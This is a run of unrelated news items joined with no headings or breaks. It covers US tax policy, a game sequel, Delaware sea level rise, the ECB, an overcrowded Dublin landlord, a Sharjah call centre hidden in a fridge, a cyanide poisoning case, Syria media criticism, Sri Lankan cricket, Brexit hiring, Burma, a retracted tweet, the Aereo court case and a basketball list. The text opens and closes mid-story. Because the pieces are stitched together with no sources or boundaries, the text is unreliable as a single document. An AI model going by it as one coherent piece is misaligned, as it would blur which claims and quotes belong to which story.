None of it helped Romney. His rate-cutting plan for individuals would reduce tax collections by about $360 billion in 2015, the study says. To avoid increasing deficits — as Romney has pledged — the plan would have to generate an equivalent amount of revenue by slashing tax breaks for mortgage interest, employer-provided health care, education, medical expenses, state and local taxes, and child care — all breaks that benefit the middle class.
“It is not mathematically possible to design a revenue-neutral plan that preserves current incentives for savings and investment and that does not result in a net tax cut for high-income taxpayers and a net tax increase for lower- and/or middle-income taxpayers,” the study concludes.
Even if tax breaks “are eliminated in a way designed to make the resulting tax system as progressive as possible, there would still be a shift in the tax burden of roughly $86 billion [a year] from those making over $200,000 to those making less” than that.
What would that mean for the average tax bill? Millionaires would get an $87,000 tax cut, the study says. But for 95 percent of the population, taxes would go up by about 1.2 percent, an average of $500 a year.
The Romney campaign on Wednesday declined to address the specifics of the analysis, dismissing it as a “liberal study.” Campaign officials noted that one of the three authors, Adam Looney of Brookings, served as a senior economist on the Obama Council of Economic Advisers. The other two authors are Samuel Brown and William Gale, both of whom are affiliated with Brookings and the Tax Policy Center.
“President Obama continues to tout liberal studies calling for more tax hikes and more government spending. We’ve been down that road before – and it’s led us to 41 straight months of unemployment above 8 percent,” said Romney campaign spokesman Ryan Williams. “It’s clear that the only plan President Obama has is more of the same. Mitt Romney believes that lower tax rates and less government will jump-start the economy and create jobs.”
In an interview with Famitsu.com at Namco Bandaia's recent Gamers Day event, Level-5 CEO Akihiro Hino said that, with regards to a Ni no Kuni sequel, he'd like to continue with the series if they see strong results from the overseas version.
He appears to be confident in the game's chances for success, noting past success stories from Level-5. Dark Cloud, which Level-5 developed for Sony, sold 120,000 units in Japan, but topped a million total in worldwide sales. Dark Chronicle also did better outside of Japan. The Layton series, while a huge hit in Japan, was an even bigger hit overseas.
Namco Bandai is releasing the international version of PS3's Ni no Kuni under the name Ni no Kuni: Wrath of the White Witch, in first quarter 2013. The reason for the long wait, explained Hino, is that they're taking time to ensure a proper translation. The game also has a lot of text, with over one million words.
The game's localization is being headed up by Level-5's localization director. According to Hino, the localization director is someone with long experience with localization. He did not work on the localization of the Layton series, though. This will be his first project for Level-5.
Buy Photo Broadkill Beach was among Delaware’s coastal communities that suffered severe property damage in Superstorm Sandy. Forecasters say sea level rise will mean more damage in coastal communities. (Photo: SUCHAT PEDERSON/THE NEWS JOURNAL)Buy Photo Story Highlights The UN recently estimated that sea levels globally will increase by up to 3.2 feet by 2100
The "Mother's Day" storm of 2008 caught many residents by surprise
Along Prime Hook Beach, one of Delaware's most flood-threatened spots, longtime resident James A. Joyce Jr. said he pays attention to hurricane hazards, but worries more often about winter northeast storms.
Weather: This year's hurricane forecast
"I've been here 18 years now and we've been fortunate so far," Joyce said. "None of the hurricanes have really hit us hard. But hurricanes are always bad for somebody, and eventually our luck is going to run out."
For Delaware's coastal residents, all storms – be it a fast moving but highly destructive hurricane or the slow, incessant pounding of a nor'easter – spell flooding and erosion at the least and property damage at the worst.
And with sea level rise, the impact from storms stand only to get worse, said Susan Love, a Delaware Coastal Programs manager.
"Sea level rise closes our margin of safety when we have these events," she said. "The risk is increasing."
Sea level at Lewes Breakwater Harbor has risen a foot over the last century and is expected to continue to increase at an accelerating rate as global warming expands oceans and melts polar ice, glaciers and frozen land masses.
Although Love said that coastal residents could once breath a sigh of relief if the worst of a storm hit at low tide, "the window is closing on that opportunity," she said.
The United Nations Intergovernmental Panel of Climate Change recently estimated that sea levels globally will increase by about 1.7 to 3.2 feet by the end of the century. Related research forecasts note that mid-Atlantic increases could reach 1.7 feet by 2050 and 3.2 to 4.9 feet by 2100 because of local geologic factors.
With a 1.7-foot addition to hourly water levels over the past 12 months, Lewes would have experienced seven days with high tides exceeding those seen during Hurricane Irene in August 2011, the eighth highest ever recorded for the state's oldest tide station. And using that same mid-century projection, Superstorm Sandy's highest tide at Lewes, on Oct. 29, 2012, would have been more than a foot higher than the highest water level during the March 6, 1962, northeast storm that has long ranked as Delaware's worst.
Adding the 3.2 foot end-of-century rise projected for Delaware to the last 12 months of hourly water levels recorded at Lewes would mean 16 days with high tides exceeding the March 1962 all-time record at Lewes, and 49 days with water topping levels hit during Superstorm Sandy at the same spot. That scenario includes seven consecutive days in mid-October 2013 that would have had tides higher than Sandy's worst.
In fact, all of the other top 10 storms recorded at Lewes would have exceeded the '62 storm if mid-century sea level rise forecasts were part of the picture. If levels rise by the 4.9-foot total projected in grimmer scenarios, in 2100 the highest tide at Lewes every day, on average, would exceed the '62 storm by nearly 5 inches, with storms and waves adding more feet and sending water deeper inland than the worst storms to date.
While residents can do little to turn away storms, those in harm's way can count on earlier warnings about extreme weather, and better information about the scale of the threat.
"When it comes to hurricanes and tropical systems, we have gotten better at forecasting where they're going to impact land," said Daniel Leathers, a University of Delaware professor and Delaware's state climatologist. "Hurricane Sandy is an excellent example. It was very well forecast."
In the seven short years since the "Mother's Day" storm of May 2008 caught hundreds of coastal community residents in their beds, warning systems have improved at every level. They range from online, minute-by-minute forecasts of storm surges and high-tide timings and water levels on roads to old-fashioned commitments to door-knocking.
High on the list is the Delaware Bay Coastal Flood Monitoring System, a collaboration by University of Delaware scientists that provides weather, current tide conditions and elaborate flood forecast maps from New Castle to Lewes.
Similar, but less-focused tide storm surge prediction centers include New York's Stony Brook Storm Surge site, the Extra-Tropical Storm Surge forecast center operated by the National Weather Service, as well as the same agency's Ocean Prediction Center, which provides hour-by-hour, coastwide guidance on high-water timing.
The new tools give community and emergency management leaders and residents extra hours and days to prepare, Leathers said.
In Kitts Hummock, longtime resident Michael Costello said the multiplying warning systems are welcome additions to life on the bay.
"All the residents here, many of whom were here during the '08 storm, have changed their perspective," Costello said. "We know and monitor the weather. We prepare and when we see or hear something, we tell each other."
"The most-impressive thing is the county and Little Creek Volunteer Fire Company. We have reverse 911 calls if there's an alert, and the fire company volunteers will come out a day or two before a storm is supposed to hit," Costello said. "They're phenomenal. They knock on our doors, give us flyers, ask if we're prepared and know where the evacuation center is."
That storm did catch many Delaware Bay residents by surprise and it showed a weakness in the system, Love said.
The forecast for the storm didn't show much of a storm surge for Lewes or Wilmington, she said. But the storm had a huge tidal surge impact in the the rest of the Delaware Bay and River, she said.
It convinced folks that better data was needed for the Delaware Bay and resulted in the coastal flood monitoring system, she said.
Love said planners learned a similar lesson from Superstorm Sandy in 2012. The storm did little lasting damage along the ocean coast of Delaware except at the highly vulnerable Indian River Inlet Bridge.
But along the inland bays – Rehoboth, Indian River and Little Assawoman – it caused a storm surge and flooding that was among the highest levels on record. Love said they hope to have a similar monitoring system in place for the bays.
Meanwhile, the National Weather Service is trying out a new potential flood and storm surge map that will be up and running as hurricanes move landward.
Holly Bamford, director of the NOAA Ocean Service said the map is an experimental tools that will allow communities and planners to make decisions quickly based on the best available information on tides, currents and water levels that are plugged into a storm surge model.
"Storm surge can be seriously deadly," she said. "It only takes 6 inches of fast moving water to knock an adult over."
But mostly, she said, people in vulnerable coastal areas need to tools to be better prepared and more resilient.
Reach Jeff Montgomery at 463-3344 or jmontgomery@delawareonline.com. Reach Molly Murray at 463-3334 or mmurray@delawareonline.com. Follow her on Twitter @MollyMurraytnj.
FRANKFURT (Reuters) - The European Central Bank has not run out of ammunition and can use further tools, but to revive euro zone growth governments should do their share, ECB Vice President Vitor Constancio told CNN on Monday.
The ECB cut interest rates almost to zero last week and launched a new program to buy asset-backed securities on top of the four-year loans it will offer banks in September to boost lending and revive the economy.
But the ECB can still do more if needed, Constancio said.
“In July at the press conference, (ECB) President (Mario) Draghi said that we are not excluding a priori any instrument that we see as legal and within our remit,” Constancio told CNN in an interview. He added that there were “further tools” the ECB could use without saying which ones they were.
But Constancio said that to revive growth, structural reforms were necessary.
“If we are talking about growth then it is clear that monetary policy cannot do it alone and needs the help of other policies,” he said, referring to Draghi’s earlier calls for such reforms and more flexible government spending within the assigned budget deficit limits.
While euro zone periphery countries had gone through painful reforms and were now reaping the benefits in the shape of an economic rebound, other countries still had work to do, Constancio said.
A BUSINESSMAN who owns a number of houses being rented by up to 40 people at a time claims he is doing nothing wrong, remarking: "There is nothing unusual about this... sure what happens when you have 40 kids in a school?"
Exclusive: The millionaire landlord raking in thousands each week from dangerously-overcrowded houses
James 'Jim' Cuddy (67) has been issued with fire safety notices by Dublin City Council after Independent.ie exposed how a number of his properties across the capital are dangerously overcrowded.
Mr Cuddy, who lives in a 12-bed mansion in Co Cavan, owns four houses on the Howth Road in Clontarf and a property on Leinster Road in Rathmines.
An undercover investigation by Independent.ie revealed how these properties were being overcrowded with foreign nationals after the houses were filled with bunk beds.
The fire safety notices issued to Mr Cuddy
The tenants were each paying €300 per month in rent, meaning each house could been generating circa €12,000 in income - or around €144,000 per year.
With five houses being rented to up to 40 people, Mr Cuddy and the management company subletting his houses could have been collecting close to €800,000 in rent for the year.
Mr Cuddy told Independent.ie that he leased the properties to a company called Red Sky Property Management Ltd and let them "do whatever they like with them."
Red Sky was previously run by Christian Carter (29) and his father Colin Carter, with addresses of Dunedin Drive, Monkstown and Grove Park, Rathmines.
Mr Cuddy claimed Red Sky "are in the business of accommodating students."
When questioned about the unhealthy living conditions in the houses, he responded: "Well, I’m sure they could move out if they wanted to."
He denied he had anything to do with the running of the properties, but when asked about the number of tenants occupying the houses, he said: "There is nothing unusual about this. That’s not a regulation. Sure what happens when you have 40 kids in a school?"
However, following inspections by Dublin City Council in January 2017, the houses in Howth were deemed to be in breach of fire safety regulations.
Independent.ie visited all the properties and the tenants were in the process of moving out.
The properties were also being guarded by individuals who were under specific instructions "not to let anybody in."
"We were told to move out after inspections were carried out. Most of us have found somewhere else to go," one tenant stated.
The houses on the Howth Road, formerly known 116 Howth Road, Dublin 3, are now known as units 1-4 Howth Court.
They are four semi-detached homes located in an estate which were previously rented to four families before Mr Cuddy acquired the services of Christian and Colin Carter.
The families all moved out and Mr Cuddy moved in up to 40 people in each house.
Dublin City Council issued fire safety notices in respect of no. 1, 2 and 3 and a spokesperson confirmed that if the notices are not complied with, "a person convicted for an offence may be liable to a maximum fine of €130,000 and/or imprisonment for a period not exceeding two years."
The buildings concerned are also being investigated by Planning Control and Environmental Health Officers.
The house in Rathmines, where 40 women were living, was described as a "death trap" by a former tenant.
She claimed there is no way of exiting the building at the back in the event of a fire in the front of the house.
Millions of debt
Mr Cuddy is presently director of three Irish companies: Crossagalla Management Company, Irish International Abrasives and Cuddy Industries Limited.
Irish Abrasives is his biggest and most successful company - producing and importing abrasive products since the 1980s.
However, financial accounts filed for Cuddy Industries Ltd show that four houses at 116 Howth Road, Clontarf, are listed as security for an AIB mortgage owed by the business.
The accounts filed last November show that Cuddy Industries Ltd is majority owned by James Cuddy and has debts of €2.85m are secured over the houses and a personal guarantee of €2.88m by Mr Cuddy himself.
That means that if the business cannot repay the bank, the properties would be forfeit and Mr Cuddy would also be liable for any shortfall.
"This company pays enormous rent"
A source claimed Mr Cuddy turned his attention to the rental market in order to make "easy money fast."
The same source revealed how Mr Cuddy had been doing business with Red Sky for "quite a while" and regularly spoke about how they "pay enormous rent."
Independent.ie previously exposed how Christian Carter was subletting a property in The Pines, Lehaunstown, Cabinteely to up to 70 people at a time for €200 per month.
Legal action against "unauthorised hostels"
Following an inspection by Dun Laoghaire Rathdown County Council, this said property was deemed to be an "unauthorised, dangerous hostel."
Mr Carter was ordered by the Circuit Civil Court to find the remaining tenants in The Pines alternative accommodation in what the judge deemed to be an "extremely serious matter."
The house had significant sewage problems and Judge Jacqueline Linnane stated the tenants would be "safer sleeping on couches somewhere, than in that house."
When asked about his dealings with the Carters, Mr Cuddy responded: "Oh god, no comment."
Speaking on Monday, Mr Carter claimed Mr Cuddy leased the properties to Red Sky and was fully aware of the situation.
He also claimed that the number of tenants occupying these houses has now been reduced after fire safety notices were issued by DCC.
"I have now resigned from Red Sky. The houses in Howth Court were of a better standard than the house in The Pines but there are now only 16 people in three of the houses and 10 in the others," he told Independent.ie
Police had received a tip-off that a Pakistani man had transformed his house in the Al Naba’a area of Sharjah into an illegal call centre by breaking into telephone systems.
Officers located the house, that was operating without a licence, with help from the Telecommunications Regulatory Authority.
The house was raided and the suspect was arrested on Tuesday.
Equipment used to operate the illegal call centre was found hidden inside a refrigerator. The equipment was then confiscated.
The suspect, who has been identified as K.G.S, admitted making illegal phone calls through programmes connected to a server used for this purpose, and that he sold international calls at low rates.
He told police that he kept his equipment inside the fridge and made holes at the back of the kitchen appliance for cables, in case police raided the place.
The man told them he thought they would not find the equipment because no one would expect to find a call centre hidden inside a refrigerator.
Sharjah Police have warned the public, as well as owners of internet cafes, not to violate the rules of the Telecommunications Regulatory Act.
As explained in a recent BMJ Case Report, a 67-year-old Australian had an extremely close call after suffering cyanide poisoning from taking too much self-prescribed apricot kernel extract called "ake". The man had recently just gotten over prostate cancer and had been taking the supplement to make sure it didn’t come back.
Every day for over five years, he took two teaspoons of apricot kernel extract and three Novodalin tablets, a herbal fruit kernel supplement. This means he was dosing himself with 17.32 milligrams of cyanide each day.
Remarkably, the effect of this on his health was only noticed by doctors during some routine surgery. His blood was found to have dangerously high levels of thiocyanate, a byproduct of cyanide breakdown, and low oxygen saturation.
For a guy who had ingested 20 times the safe limit of cyanide, that’s not surprising. Cyanide kills you by interfering with the transport of electrons to oxygen in the electron transport chain of aerobic cellular respiration. This effectively means you can use the oxygen in your system and your body’s tissues become starved of oxygen.
In a short time, you would experience nausea, headaches, tiredness, confusion, and feel generally ill. Long-term exposure will eventually lead to symptoms such as unconsciousness, falling blood pressure, lung failure, comas, and ultimately, death.
Fortunately for this man, he managed to avoid death this time around. However, he has still continued to take the apricot kernel supplement despite the doctors strongly advising against it, the lack of evidence supporting its supposed miraculous properties, and the fact he suffered chronic cyanide poisoning.
“Self-prescribed medications, especially in this instance, are often not taken in precise doses and with limited knowledge of adverse effects since patients tend to only focus on favorable effects,” Dr Alex Konstantatos, who treated the man, told the Australian Journal of Pharmacy.
So one has to commend the Boston Globe for publishing this piece by Stephen Kinzer, a former foreign correspondent, warning that the media is not telling us the truth about what is going on in Syria.
But those constraints are also why Kinzer glosses over deeper problems with the coverage of Syria.
This [most western reporting of Syria] is convoluted nonsense, but Americans cannot be blamed for believing it. We have almost no real information about the combatants, their goals, or their tactics. Much blame for this lies with our media. Under intense financial pressure, most American newspapers, magazines, and broadcast networks have drastically reduced their corps of foreign correspondents. Much important news about the world now comes from reporters based in Washington. In that environment, access and credibility depend on acceptance of official paradigms. Reporters who cover Syria check with the Pentagon, the State Department, the White House, and think tank ‘experts.’ After a spin on that soiled carousel, they feel they have covered all sides of the story. This form of stenography produces the pabulum that passes for news about Syria.
This is more of the “cock-up, not conspiracy” justification for skewed reporting. If only there was more money, more space, more time, more reporters, the media would not simply spew the government’s official line. Guardian journalist Nick Davies wrote a whole book, Flat Earth News, making much the same claim – what he called “churnalism”. I reviewed it at length here. Journalists like this kind of argument because it shifts responsibility for their failure to report honestly on to faceless penny-pinchers in the accounting department.
And yet, there are journalists reporting from the ground in Syria – for example, Martin Chulov of the Guardian – who have been just as unreliable as those based in Washington. In fact, many of the points Kinzer raises about the reality in Syria echo recent articles by Seymour Hersh, who is writing from the US, not Damascus. But he, of course, has been shunted to the outer margins of media discourse, publishing in the London Review of Books.
Media coverage of Iraq was just as woefully misleading during the sanctions period in the 1990s, when I worked in the foreign department at the Guardian, and later in the build-up of the US-led attack on Iraq. In those days, when there was no shortage of resources being directed at foreign reporting, the coverage also closely hewed to the official view of the US and UK governments.
The problem is not just that foreign reporting is being stripped of financial resources as the media find it harder to make a profit from their core activities. It is, as Ed Herman and Noam Chomsky pointed out long ago in their book Manufacturing Consent, that the corporate media is designed to reflect the interests of power – and the corporations that control our media are power. They select journalists through a long filtering process (school, university, journalism training, apprenticeships) precisely designed to weed out dissidents and those who think too critically. Only journalists whose worldview aligns closely with those in power reach the top.
None of this is in Kinzer’s piece. It is doubtful that he, a member of the media elite himself, would recognise such an analysis of the journalist’s role. As Chomsky once told British journalist Andrew Marr, when Marr reacted with indignation at what he inferred to be an accusation from Chomsky that he was self-censoring:
I don’t say you’re self-censoring. I’m sure you believe everything you’re saying. But what I’m saying is, if you believed something different you wouldn’t be sitting where you’re sitting.
That understanding of journalism does not depend on conspiracy, but nor does it accept that it is all about cock-up. It posits a much more interesting, and plausible, scenario that journalists get into positions of influence to the extent that they are unlikely to rock the boat for elite interests. The closer they get to power, the more likely they are to reflect its values. Much like politicians, in fact.
Last month, in a windswept Melbourne suburb, I caught up with Athula Samarasekera. It was a reunion 32 years in the making. The last time we met, I was a 15-year-old schoolboy, and he a 22-year-old cricketer on his first overseas tour, with the 1983 Sri Lankan World Cup squad. There's nothing particularly unusual in a schoolboy meeting a cricketing hero, but the circumstances that led to that meeting tell their own story.
In 1983, just two years after being granted full Test status, Sri Lanka was an impoverished cricket nation. The precarious financial footing of the board had ramifications for every aspect of the tour. The World Cup squad comprised the manager, the assistant manager and the team. The board barely had enough money for three-star hotels. The team had the challenge of conducting a World Cup campaign within straitened means while adapting to cricket in foreign conditions. For Athula, who shared a room with Brendon Kuruppu, also on his first tour, the challenges started early.
"We missed our first team meeting," he recalled. Although aware there was a time difference between Colombo and London, they had forgotten to adjust their watches. Jet-lagged, the two woke late on their first evening in England and, with no prospect of a meal in the hotel, set out to forage. Richmond in the 1980s was not a hotbed of late-night eateries. The only food they could find was a pie at a petrol station. Pies are hardly a staple of Sri Lankan cooking. "We didn't know what it was," smiled Athula. With an apprehensive kapang bang - just eat it - they ventured into new territory.
The following day, they were woken by a knock on their door. They had slept through the team meeting. The management then decided it was in everyone's interest to separate the new boys. Sidath Wettimuny was deputed to look after Athula for the rest of the tour.
It proved to be no easy task. During a tour match in Taunton, weary of bland English food, Athula along with Kuruppu, Vinothen John and Granville de Silva walked for miles until they found a Chinese restaurant, the closest thing to home cooking they could hope for. "We were desperate for rice and curry," Athula explained. On the way back, 100 yards from the hotel, they ran into trouble. A gang of skinheads. Far-right-wing thugs, a feature of 1980s Britain, sought minority groups to attack. Savage beatings were common, killings not unknown. The threat was very real. Fortunately for Athula and his colleagues, passers-by, who recognised them from the tour match, saw off their would-be attackers. On a subsequent tour, Ranjan Madugalle was not so lucky.
Athula did suffer a more prosaic injury, a groin strain, while playing in Bristol. Used to training in 30°C heat, ill-prepared for the 18-degree highs of the English spring, the team were sitting ducks for injuries. Quite apart from the difficulties of losing players from a 14-man squad, injuries placed an inordinate strain on the finances. The management had to obtain treatment for the player - there was no hint of a physiotherapist in the tour party - and put him up when the team moved on. The answer to both problems lay with the diaspora.
During a tour match, weary of bland English food, Athula along with Kuruppu, Vinothen John and Granville de Silva walked for miles until they found a Chinese restaurant, the closest thing to home cooking they could hope for
Injured players were billeted with Sri Lankan families. We were one of many families happy to open our homes for the needs of Sri Lankan cricket. Thus it was that I found myself traipsing up the stairs to our attic, while Athula tried to squeeze his 6ft 3in frame into my bed. All over England, Wijegunawardenas, Fernandos and others rallied to the cause. The greatest service was rendered by Dr Daya Pandita-Gunawardena, a family friend and unflagging supporter of Sri Lankan cricket.
"Ranjan [Madugalle] and I were injured. Uncle Daya took us twice a day to see the physio," recalled Athula, "and paid for it from his own pocket." He remains grateful for the help they received. "It is no small thing to have someone in your house in those countries. We were young boys, used to three cooked meals a day. And someone had to do the laundry. The support those aunties and uncles gave us was amazing. We couldn't have performed without it."
We youngsters in the host families loved it. I have vivid memories of games in the back garden with international cricketers. I was never good enough to benefit from the advice offered - "Watch the ball, malli!" - and the inevitable fall of my wicket led to shouts of "That's improved your tour averages".
Athula's gratitude is not limited to the diaspora. Back home in Sri Lanka, although selected for the World Cup, he did not own a bat, gloves or pads. He had to approach Somasundaram Skandakumar, then his club captain at Tamil Union (now Sri Lanka's ambassador to Australia), and ask if he could borrow equipment from the communal kitbag. When a gracious Mr Skandakumar accommodated him, Athula had another problem: he did not own a kitbag. He scratched around for a hard-top suitcase to borrow. The long-handled bat just about fit diagonally, wrapped up in pads for safety.
In England, John Newbery, the bat-maker, took pity on him and others. Apologising that his firm was too small to sponsor the team formally, he took a few cricketers to his factory and invited them to help themselves.
It is impossible to reconcile this penurious and intensely amateur approach with the vastly more organised, if cosseted, world of the modern cricketer. Acts of kindness, unknown to the world at large but remembered by the cricketers who benefited from them, are an integral part of the story of Sri Lankan cricket. Those of us who were fortunate enough to help on the peripheries cherish our memories. As, it seems, does Athula; still playing cricket; still grateful to those who helped him 30 years ago.
Janaka Malwatta is a poet, doctor and cricket lover who lives in Brisbane. @janakamalwatta
Brexit campaigners have long argued that unscrupulous employers have been the only real beneficiaries of Free Movement and mass immigration, and that a better-controlled system would see pay and working conditions improve.
The Brussels-based New Europe newspaper acknowledges that the new data in the HIS Markit Report on Jobs is “positive”, but claims it is “overshadowed by reports that European Union workers are packing their bags ahead of Brexit” — without appearing to consider that the two might be linked.
"Steep increase" in hiring + salary growth at 10-month high as supply of foreign labour falls. Brussels paper reports as bad news. #OwnGoal pic.twitter.com/8PDkzcbfDA — Jack Montgomery ن (@JackBMontgomery) August 10, 2017
“Although slightly below the rest of the UK, permanent placements are rising rapidly in Scotland. Starting salaries are also increasing, so for workers who want to boost their earnings, now is a good time to consider moving job,” said Recruitment & Employment Confederation (REC) chief executive Kevin Green.
However, he then complained: “It’s clear that employers are having to work even harder to fill jobs as vacancies rise and candidate availability shrinks [and] parts of the economy most reliant on European workers are under even more pressure as many EU workers return home.”
“Fewer migrants means employers have to compete for workers!” wails @FT. “This poor chap had to boost wages 15%!” No self-awareness. #Brexit pic.twitter.com/aaw8dczBwF — Jack Montgomery ن (@JackBMontgomery) February 10, 2017
Green made it clear employers were “not just struggling to hire the brightest and the best but also people to fill roles such as chefs, drivers and warehouse workers”.
He added: “We can’t ignore the importance of our relationship with the EU to employers. If we want to keep our jobs market successful and vibrant, we must make it easier, not harder, for employers to access the people they need.”
This is precisely why a lot of people voted for Brexit. pic.twitter.com/9tT7t3ud7j — Fraser Nelson (@FraserNelson) July 14, 2017
Unemployment in Scotland has fallen to its lowest rate since comparable records began since the Brexit referendum, and stands at its joint-lowest rate since 1975 across the wider United Kingdom — despite claims by George Osborne and Treasury officials that a Leave vote would throw 500,000 people out of work.
However, there are still 104,000 people out of work north of the border, and 1.49 million across Britain as a whole; it is unclear why Green feels employers simply must have access to foreign workers from low-wage economies in order to fill working-class occupations in restaurants, warehouses, and so on.
The EU allows bosses to employ migrant workers on low wages, rather than invest in young people. #EUref pic.twitter.com/oUXMgdc0km — Leave.EU (@LeaveEUOfficial) June 21, 2016
Some commentators, even in left-liberal publications such as The Guardian, have suggested that many employers have become addicted to “a business model that depends on a constant churn of workers to carry out jobs that are underpaid and insecure at best” — which is why some might be resistant to a step-change towards a higher-pay, higher-productivity economy after Brexit.
Burmese pro-democracy leader Aung San Suu Kyi has urged the international community to monitor her country closely to see whether recent signs of possible reform are genuine.
Her comments came in a face-to-face interview with a reporter from the BBC's Burmese language service who was given rare official access to Burma.
Ms Suu Kyi said she believed President Thein Sein wanted to reform.
But she said she was not sure how far he was prepared to go.
'Wheels are moving'
There have been recent signs that the civilian-led, military-backed government of Burma is trying to soften its stance and improve its image at home and abroad.
Last week the president suspended work on a hydro-electric dam project, financed by China, to which public opposition had been growing.
Some previously blocked websites have been made available, and there have been a number of meetings between the government and Aung San Suu Kyi.
Some journalists based outside Burma have also been allowed in on official visas, including a reporter from the BBC Burmese service who managed to speak to the pro-democracy leader face to face.
How substantial, he asked her, were these recent moves?
"We are beginning to see the beginning of change," she said.
"And by that, I mean that I believe that the president wants to institute reforms, but how far these reforms will be able to go and how effective these will be, that still waits, still needs to be seen."
Aung San Suu Kyi urged the international community to work together and to monitor events in Burma closely to see whether there was real and sustainable progress.
"I've always said that the more co-ordinated the efforts of the international community are, the better it will be for democracy in Burma. If different countries are doing different things, then it detracts from the effectiveness of their actions."
New York Times Washington Editor Jonathan Weisman was forced to retract a tweet Thursday after he insinuated Attorney General Jeff Sessions was corrupt.
Weisman asserted that former FBI Director James Comey testified Sessions asked him directly to call the Russia probe “a matter.” The only problem was the director testified that former Attorney General Loretta Lynch approached him with that request over the Clinton investigation, according to The Washington Times.
(Comey was actually talking about Loretta Lynch and the Clinton investigation) https://t.co/4Nbf21qsoL pic.twitter.com/kNG9SoXc2g — Griswold Christmas Vacation (@HashtagGriswold) June 8, 2017
“At one point the attorney general directed me not to call it an ‘investigation’ but instead to call it a ‘matter,’ which confused me and concerned me,” Comey said about Lynch during his testimony in front of the Senate Select Committee on Intelligence. “That was one of the bricks in the load that leads me to conclude I have to step away from the department if we are to close this case credibly.”
The director went on to add that the language suggested by the former attorney general mirrored that of the Clinton campaign during the 2016 election, leading him to believe that Lynch shouldn’t be a part of the investigation.
Washington Free Beacon reporter Alex Griswold caught Weisman’s mistake, reminding the editor of the highly influential New York Times that the statement was made about Lynch, not Sessions.
Griswold asserted that the editor privately apologized before deleting the tweet.
An honest mistake and he apologized, but funny how we can all manage to mishear so badly– and hear exactly what we want to hear. — Alex Griswold (@HashtagGriswold) June 8, 2017
Weisman didn’t immediately return a request for comment from The Daily Caller News Foundation.
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Broadcasters' latest legal target is 2-year-old upstart Aereo—which retransmits over-the-air broadcast television using dime-sized antennas to paying consumers, who can watch TV online or record it for later viewing. Broadcasters like ABC, CBS, FOX, NBC, and others haven't given Aereo permission to do that, and they say it violates US copyright law.
The industry will ask the Supreme Court during a Tuesday hearing to kill the New York-based Aereo service. The high-stakes oral arguments come 30 years after Hollywood told the justices that the VCR—and its time-shifting elements—would doom television and its producers forever.
An industry on the line
An outcome perhaps more important than who controls the broadcast airways has generated a great amount of concern, and it's not just the expected chorus from the copyleft. Companies like Google, Microsoft, Mozilla, Yahoo, and others are worried that a victory for the broadcasters could upend the cloud.
They contend that the broadcasters' position "would threaten one of the most important and emerging industries in the US economy: cloud computing" (PDF).
The companies, in briefs trade associations, told the justices in a recent filing that the "dramatic expansion of the cloud computing sector, bringing with it real benefits previously only imagined in science fiction, depends upon an interpretation of the Copyright Act that allows adequate breathing room for transmissions of content."
For the moment, a federal appeals court has deemed Aereo's service legal, and the cloud-computing market, expected to be a $1.1 trillion industry by next year, is safe, at least until the justices rule in the months ahead.
For Aereo, unless the Supreme Court says otherwise, it's free to retransmit broadcast signals without paying licensing fees to the broadcasters. That's something not even the cable companies can get away with, and it's got broadcasters and cable companies seething.
But a federal appeals court said that Aereo's service is akin to a consumer putting a broadcast antenna atop their dwelling. Aereo, the appeals court ruled, "provides the functionality of three devices: a standard TV antenna, a DVR, and a Slingbox" (PDF).
Not so fast, the broadcasters claim. They say it's a copyright breach because Aereo hasn't paid fees to the broadcasters to retransmit their content. They say that the dissemination of the content amounts to a "public performance" requiring the broadcasters' consent.
The broadcasters said that it's far-fetched to analogize Aereo to the likes of services like Dropbox, Box, Google Drive, and other cloud services. Claims that cloud storage hangs in the balance are overblown, they said.
"There is an obvious difference between a service that merely stores and provides an individual user access to copies of copyrighted content that the user already has legally obtained, and a service that offers the copyrighted content itself to the public at large," they said.
Aereo isn't exactly a cloud provider. Yet what the broadcasters say it can't do has the cloud industry closely following the startup's legal battles and business model.
Content liability
In a growing number of markets nationwide, Aereo customers rent up to two tiny, dime-sized antennas that are housed in facilities across the country. They capture local, over-the-air broadcasts, and funnel them to local customers in real time. The content is freed to stream to most any Internet-connected device. Another antenna syncs with a DVR for later viewing for about $12 monthly.
Broadcasters decry it as "technological gimmickry" to skirt copyright and other retransmission laws.
Aereo essentially maintains that they are providing offsite "rabbit ears" for their customers, allowing consumers to record freely available content that their rented antennas captured in their local markets.
if Aereo is blocked from allowing consumers the ability to stream their content at will, what's preventing rights-holders from making the same claim against cloud-storage providers?
John Bergmayer, a senior attorney at Public Knowledge, boils down the case to this.
"Consider any file-hosting service that allows people to store their own material, such as Dropbox. What if it can be shown they are storing copyrighted work. Do they need a license?" he asked in a telephone interview.
Mitch Stoltz, an Electronic Frontier Foundation attorney, said in a telephone interview that, "If the Supreme Court rules in favor of the broadcasters, their opinion might create liability for various types of cloud computing, especially cloud storage."
Chet Kanojia, Aereo's founder, likens the Aereo flap to the VCR litigation three decades ago, when Hollywood sought to block people from recording content obtained from their roof antennas.
"The idea that each individual consumer can have their antenna remotely located ... wins on its own," he said in a telephone interview. "There's no basis in law of any kind to prohibit that activity."
Luckily for Hollywood, consumers, and innovation, a deeply divided 5-4 Supreme Court ruled in 1984 against Hollywood and issued a stamp of legitimacy to the VCR, sparking in its wake a multi-billion dollar home entertainment market.
Fast forward to Tuesday's upcoming oral arguments before the Supreme Court, and we're right back to the VCR case of 1984.
"Underneath all the legal arguments and legal labels that we've thrown around in this case, the case is really very simple and straightforward," Stephen Kroft, a Hollywood lawyer, told the justices three decades ago during the arguments in the VCR case. "Petitioners have created a billion dollar industry based entirely on the taking of somebody else’s property, in this case copyrighted motion pictures, each of which represents a huge investment by the copyright owners."
Just months ago, in their October petition (PDF) to the justices urging the high court to kill Kanojia's service, the broadcasters said that "The disruption threatened by Aereo will produce changes that will be difficult, if not impossible, to reverse."
What's more, the broadcasters said: "The works provided by commercial television broadcasters to a remarkably broad swath of the public cost millions of dollars to produce. Petitioners rely on their ability to control how their programming is used by others in order to recoup those significant investments."
Last season, Wisconsin big man Frank Kaminsky won the first-ever Kareem Abdul-Jabbar Center of the Year Award.
The list of candidates includes five freshmen: Indiana's Thomas Bryant, Kansas' Cheick Diallo, Kentucky's Skal Labissiere, Maryland's Diamond Stone and UNLV's Stephen Zimmerman. However, Labissiere and Diallo are both waiting to be cleared by the NCAA.
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The watch list also includes several mid-major standouts: UC Irivine's 7-foot-6 center Mamadou Ndiaye, Egidijus Mockevicius of Evansville and Weber State's Joel Bolomboy.
Here's the full list of candidates:
Kaleb Tarczewski, Arizona
Mamadou Ndiay, UC Irvine
Josh Scott, Colorado
Egidijus Mockevicius, Evansville
Przemek Karnowski, Gonzaga
